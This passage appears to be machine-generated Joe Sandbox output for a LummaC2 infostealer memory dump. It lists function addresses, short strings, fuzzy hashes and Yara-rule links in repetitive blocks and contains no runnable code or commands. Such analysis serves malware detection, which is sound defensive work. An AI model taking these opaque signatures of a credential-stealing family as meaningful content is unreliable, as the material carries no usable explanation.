Strings

[U, xrefs: 00D5D210
_8Y, xrefs: 00D5D208

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: [U$_8Y
API String ID: 0-1769107113
Opcode ID: 96088d03acaa961defa58b487192e4574084babf729525c2f2962413530722dc
Instruction ID: e4f1f0bc16672afefdd1b88de033461de18d4bda83f78c701e077cb152c77eea
Opcode Fuzzy Hash: 96088d03acaa961defa58b487192e4574084babf729525c2f2962413530722dc
Instruction Fuzzy Hash: D061EF7054C3508BEB10DF24D85166BB7F2EFA2305F18896CE8859B391E739D909C76A

Function 00D5D189 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

[U, xrefs: 00D5D210
_8Y, xrefs: 00D5D208

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: [U$_8Y
API String ID: 0-1769107113
Opcode ID: 30c779ce809fd35e68efe1e664ee7c44bf2027f3f958a1ce3e6f2969ba2d48cb
Instruction ID: ed822faa6cd63ee0dce0666ee4cb99958e96ce655dadfef02b704a2e9fecfe8b
Opcode Fuzzy Hash: 30c779ce809fd35e68efe1e664ee7c44bf2027f3f958a1ce3e6f2969ba2d48cb
Instruction Fuzzy Hash: C951E07064C3108BE714DF24D85166BB7F2EFA2305F18896CE8859B394E739C90AC76A

Function 00D4F2A0 Relevance: 2.7, Strings: 2, Instructions: 201COMMON

Download Yara Rule

Strings

J, xrefs: 00D4F424
], xrefs: 00D4F3BF

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: J$]
API String ID: 0-1719541227
Opcode ID: 7d29bbc76925654dad82ded7dd5ee324e4ae55e19d7386f8f755d0b3dac62014
Instruction ID: eb2a5ce35f89e6ba9eb4994c29fb953c1f7a8f957cb040d2c1ba1f83c9ab6a9e
Opcode Fuzzy Hash: 7d29bbc76925654dad82ded7dd5ee324e4ae55e19d7386f8f755d0b3dac62014
Instruction Fuzzy Hash: 7E610C33A1C7904BD3244F79888129FBBD29BD6324F194A3ED8E5D73D1D57888068752

Function 00D63C60 Relevance: 2.7, Strings: 2, Instructions: 200COMMON

Download Yara Rule

Strings

Z[, xrefs: 00D63CE6
b"}, xrefs: 00D63CED

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: Z[$b"}
API String ID: 0-914116730
Opcode ID: ed20e893ca49193589047e10d681fc38a6112741877e00123f084af7d8e27960
Instruction ID: cf8b9c1edd313b31a472dd553ee9bd97658db1d081c1b5b3687688f886bfcb56
Opcode Fuzzy Hash: ed20e893ca49193589047e10d681fc38a6112741877e00123f084af7d8e27960
Instruction Fuzzy Hash: 9C61E176A583409FE314CF69D8C075FBAE2EBC5704F09C93CE9949B385C7B589058BA2

Function 00D59820 Relevance: 2.7, Strings: 1, Instructions: 1444COMMON

Download Yara Rule

Strings

gd, xrefs: 00D59BE3

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: gd
API String ID: 2994545307-565856990
Opcode ID: 3f04549663ede2bd38aedc1836c469c8008310efc103738a1a968c828c710708
Instruction ID: 129f1732e9d5688beb9d1b3de79952fa108b034771c82df3aca11a5489714f27
Opcode Fuzzy Hash: 3f04549663ede2bd38aedc1836c469c8008310efc103738a1a968c828c710708
Instruction Fuzzy Hash: B592F0756083419BEB24CF24D89172BFBE2EBD4315F2C892CED8687252D7719C49CB62

Function 00D4E465 Relevance: 2.7, Strings: 2, Instructions: 162COMMON

Download Yara Rule

Strings

{L, xrefs: 00D4E4BD
c, xrefs: 00D4E46F

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: c${L
API String ID: 0-2217919563
Opcode ID: 3f1e33f819c2784cff7a5e57018a0b75247895baad13a560fc016479833d3d41
Instruction ID: 89b108e0deea6a193291ae2c95615a731ad0bf6e227ba00fa6d9f95136ac878e
Opcode Fuzzy Hash: 3f1e33f819c2784cff7a5e57018a0b75247895baad13a560fc016479833d3d41
Instruction Fuzzy Hash: 66511172A0C3D04BE725CB24C8513DFBBE2EBE5304F18493CD8C997286E6755A468762

Function 00D690B0 Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

5B3@, xrefs: 00D690C2
dV3T, xrefs: 00D690DA

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 5B3@$dV3T
API String ID: 0-261990991
Opcode ID: 06b3be67124505ca0d7e231555ae93b8b73058d639bdd82828ee28708c5a7464
Instruction ID: 602ffeeaf89c45e8153d07614b74499627737ccff24e7cba11d4525f7e518994
Opcode Fuzzy Hash: 06b3be67124505ca0d7e231555ae93b8b73058d639bdd82828ee28708c5a7464
Instruction Fuzzy Hash: 7431CDB15083948FD3108F2A984075FFBF6BBD6B04F289A2CE5D59B295C7B4C5028B16

Function 00D4D196 Relevance: 2.5, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 00D4D196
CoUninitialize.OLE32 ref: 00D4D1A0

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 72beffa49329c6b71e9e9ded9937c3b2ba883d93bbc235de58509c71739dfbe1
Instruction ID: 592e9d55e5bb6b2af5ac45ad91212dce9a8ce3317a503630031a834dba26916e
Opcode Fuzzy Hash: 72beffa49329c6b71e9e9ded9937c3b2ba883d93bbc235de58509c71739dfbe1
Instruction Fuzzy Hash: 8DC012745302418B82088F20DC68535B6B4B706756B001518D407E3311CA14A005872C

Function 00D54A50 Relevance: 2.4, Strings: 1, Instructions: 1153COMMON

Download Yara Rule

Strings

D]+\, xrefs: 00D55160

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 57b092b5c7de16adc2c4161bbdb8190704cdfac4ef18790f0cf84fbdbf205e81
Instruction ID: af8f794bc8435079a82be481f2b5c1182a743a5a2a02936d32147a3284eaf10c
Opcode Fuzzy Hash: 57b092b5c7de16adc2c4161bbdb8190704cdfac4ef18790f0cf84fbdbf205e81
Instruction Fuzzy Hash: 9F624435A18300DFDB149F24E85273BB3A1EF95315F58882CED8997391E735A909CBB2

Function 00D666C0 Relevance: 1.8, Strings: 1, Instructions: 544COMMON

Download Yara Rule

Strings

:, xrefs: 00D667D6

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-3726092367
Opcode ID: 9071bf13ced0334c4a14dc960a2b9cbe834796a70d116e643cc1dcfd68f2e377
Instruction ID: 786985ee2a82450adea870e5221999c07bda92d89c0c4ca31b767e8843136043
Opcode Fuzzy Hash: 9071bf13ced0334c4a14dc960a2b9cbe834796a70d116e643cc1dcfd68f2e377
Instruction Fuzzy Hash: A7F147B15187418FC7149F28985122BBBE1EFCA314F08896EF9D58B381D739D906CBB2

Function 00D6A3B0 Relevance: 1.8, Strings: 1, Instructions: 504COMMON

Download Yara Rule

Strings

", xrefs: 00D6A6C1

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 737f16272858f3ef337be2358f0e61d3c412c3fad82c308082b52e8dd245e745
Instruction ID: 5f1353c33e66123a91537df4e05ec1c517fb5f00af99a31324b76ff585364f15
Opcode Fuzzy Hash: 737f16272858f3ef337be2358f0e61d3c412c3fad82c308082b52e8dd245e745
Instruction Fuzzy Hash: A7F1D271A083515FC724CE28C451A2BBBE5AFC5314F1D896EE8DA97382D634DD058BA3

Function 00D768A0 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

Y, xrefs: 00D768AF

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: Y
API String ID: 2994545307-3233089245
Opcode ID: f0da94910c83a1043ae4b7ffa4aa2ebeaf911979806b64b5b6e1ccc8eeb2893c
Instruction ID: 0652950b8ea63ebac21d6644ba327d1e5a7ddf05fede517f176e20fe0805185f
Opcode Fuzzy Hash: f0da94910c83a1043ae4b7ffa4aa2ebeaf911979806b64b5b6e1ccc8eeb2893c
Instruction Fuzzy Hash: CCA1053110CB958FC3119A38948026ABFD29BD6324F18CA2DE5DA873D2F775C949CB67

Function 00D5DC50 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

8, xrefs: 00D5DDA6

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: a22121f6a36a34ae998c2c2caa1555d5843fd11a7084b0db4b420d447524d7be
Instruction ID: c0132c9ce52aba035d02d64bc31c714da2e1e1c838af95002d268fc8d149d50a
Opcode Fuzzy Hash: a22121f6a36a34ae998c2c2caa1555d5843fd11a7084b0db4b420d447524d7be
Instruction Fuzzy Hash: BF71E633659A9147DB28893C4C2236A7A934BE6330F2E876DBDF6CB3E1D55588098371

Function 00D6FEC0 Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

8, xrefs: 00D6FFF9

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 069e62d042fcd5bf207aa2d5f2607a0024b8f7b7b5d20f4da4eb6b52cc68664a
Instruction ID: 0d60fd6292c526e9bc42fb29f70959f6dfb7360e6685a2f92c2ba5882371e7d0
Opcode Fuzzy Hash: 069e62d042fcd5bf207aa2d5f2607a0024b8f7b7b5d20f4da4eb6b52cc68664a
Instruction Fuzzy Hash: 4971D537659AD087D329863C5C213667E834B93330F2DC76DF9FA8B3E5E56988058360

Function 00D5A800 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

_, xrefs: 00D5A8EC

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 2749819e5357d00b867a7c007599ca320fc8e137c5f50f01ee3efcd530effab6
Instruction ID: ed9682b4d32ec5ce814dc75b55bb2deb949e60227d30d287b10f5646493d06e9
Opcode Fuzzy Hash: 2749819e5357d00b867a7c007599ca320fc8e137c5f50f01ee3efcd530effab6
Instruction Fuzzy Hash: 87612D696042900ACB2CDF74849333B7AE6DF4430CF1995BED965CFA97E539C20387A6

Function 00D7B813 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

,1, xrefs: 00D7B9E3

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: ,1
API String ID: 0-24929940
Opcode ID: 60f7730994610b9a348e331c5e9f52504b41d12d618656ca7249c914a0f4cca3
Instruction ID: c1cf20c0bf72e6614b76d365dfea20ba892304a187e0d5d53eff2ac03c6fb6c3
Opcode Fuzzy Hash: 60f7730994610b9a348e331c5e9f52504b41d12d618656ca7249c914a0f4cca3
Instruction Fuzzy Hash: 2F513875620B118BCB1DCF78CC6167ABBE2FB56314358896DC456DB362FB359802CB24

Function 00D7E8D0 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

@, xrefs: 00D7E9AB

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 07b0c4ffe3d416285c295f41dfd3d05644bb5c5f14c87148353daf47a1d8a6e8
Instruction ID: fb82bc75505a994c530abad6dc61918f62c4051691f4e775033e382d65600119
Opcode Fuzzy Hash: 07b0c4ffe3d416285c295f41dfd3d05644bb5c5f14c87148353daf47a1d8a6e8
Instruction Fuzzy Hash: 924102B26043109BD714CF14CC51B7BB7A2FFC9318F18895CE5C95B2A1E775A904CBA2

Function 00D7DAA0 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

@, xrefs: 00D7DAF0

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: c4a98eef06f3e869a86b27ade66b1d36345b8c3ef5e4c8d070cc7d4b81802b84
Instruction ID: 86bcdbb73ab0ea304d4f61160c9842d2080dfb0047d79d17480e8bb4bce779a0
Opcode Fuzzy Hash: c4a98eef06f3e869a86b27ade66b1d36345b8c3ef5e4c8d070cc7d4b81802b84
Instruction Fuzzy Hash: EE218DB11093449FD310DF18D8C066AB7F6FFC9368F19892CE5D987250E735A905CBA6

Function 00D68290 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

$, xrefs: 00D68360

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 4c8f3c18e9584242d56f45decf717780c5829148f6ddd8c9b0c09ef284762a43
Instruction ID: 8d8adaf770a355a873495cb4d6c234f04c7385cceea11e61cd355e6855875846
Opcode Fuzzy Hash: 4c8f3c18e9584242d56f45decf717780c5829148f6ddd8c9b0c09ef284762a43
Instruction Fuzzy Hash: D72136366583505BE314CF659C81B5BB7F2DBD5700F0AC42CA4D9DB2CAC978D80A8766

Function 00D7BC14 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

, xrefs: 00D7BC25, 00D7BC55, 00D7BC71

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: d48da7da9520aea9068ab979762d99e4fdfd67cc363ab23520ad708197b17cdc
Instruction ID: 72f8fae7196e932e4c44806a48bddec7c8fd0e881e7af47396642ad82d4a03a5
Opcode Fuzzy Hash: d48da7da9520aea9068ab979762d99e4fdfd67cc363ab23520ad708197b17cdc
Instruction Fuzzy Hash: 5AF068306646544FEBE18F7C945A3BE67F0E716314F342DB8C54DE32D1ED1488814B18

Function 00D7D140 Relevance: .8, Instructions: 757COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f5ebd7ba353d6eaae31512eecbcca64f0ad73ff4b46929657d4862e4bdb968d
Instruction ID: 409a7a3600aa53213691ed70a92c93612b57d998561d1583dc0c41b942ef8643
Opcode Fuzzy Hash: 3f5ebd7ba353d6eaae31512eecbcca64f0ad73ff4b46929657d4862e4bdb968d
Instruction Fuzzy Hash: 4022E231618311CFC704CF28D89066AB7E2FF8A314F2A85ADD98997362E731DC56CB91

Function 00D7D240 Relevance: .7, Instructions: 680COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

